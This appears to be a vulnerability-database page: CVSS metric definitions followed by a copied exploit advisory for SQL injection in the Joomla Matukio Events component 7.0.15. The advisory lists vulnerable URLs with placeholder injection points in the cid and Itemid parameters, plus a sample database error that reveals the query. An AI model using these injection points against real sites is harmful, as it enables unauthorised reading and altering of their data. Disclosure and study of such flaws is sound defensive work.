The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Joomla Matukio Events Components 7.0.15 SQL Injection
####################################################################
# Exploit Title : Joomla Matukio Events Components 7.0.15 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 25/02/2019
# Vendor Homepage : compojoom.com
# Software Download Link : matukio.compojoom.com
# Software Information Link : extensions.joomla.org/extension/matukio-events/
compojoom.com/joomla-extensions/matukio-events-management-made-easy
# Software Version : 7.0.15 and previous versions
# Software Price : Paid Download
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Description about Software :
***************************
Matukio Events - The all in one events and webinar solution for Joomla.
From event management and presentation, over flexible booking forms, till payment processing!
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# Impact :
***********
Joomla Matukio Events Components 7.0.15 [ and other versions ] component for Joomla is
prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied
data before using it in an SQL query. Exploiting this issue could allow an attacker
to compromise the application, access or modify data, or exploit latent vulnerabilities
in the underlying database. A remote attacker can send a specially crafted request
to the vulnerable application and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
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# SQL Injection Exploit :
**********************
/index.php?tmpl=component&option=com_matukio&view=ics&format=raw
/index.php/en/?option=com_matukio&view=ics&format=raw
/index.php?option=com_matukio&view=participantlist&cid=[SQL Injection]
/index.php?option=com_matukio&view=calendar&Itemid=[SQL Injection]
/index.php?option=com_matukio&view=participantlist&cid=[ID-NUMBER]&Itemid=[SQL Injection]
####################################################################
# Example SQL Database Error :
****************************
#1064 You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near 'cur.id as curid,
cur.title as curtitle, cur.sign as currencySign, cur.posi' at line 2 SQL=SELECT
a.*, r.*, cat.title AS category cur.id as curid, cur.title as curtitle, cur.sign as currencySign,
cur.position as currencyPosition, cur.decimalsign as decimalSign, cur.payment_
code as payment_code, IF(r.override_title IS NULL or r.override_title =
'', a.title, r.override_title) as title, IF(r.override_maxpupil IS NULL or r.override_maxpupil
= '', a.maxpupil, r.override_maxpupil) as maxpupil FROM #__matukio_recurring
AS r LEFT JOIN #__matukio AS a ON r.event_id = a.id LEFT JOIN
#__categories AS cat ON cat.id = a.catid LEFT JOIN #__matukio_currencies AS
cur ON cur.id = a.currency_id WHERE r.published = '1' AND r.end >
'' AND r.booked > '' AND cat.access IN (1,1) ORDER BY r.begin DESC LIMIT 0, 1000
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################
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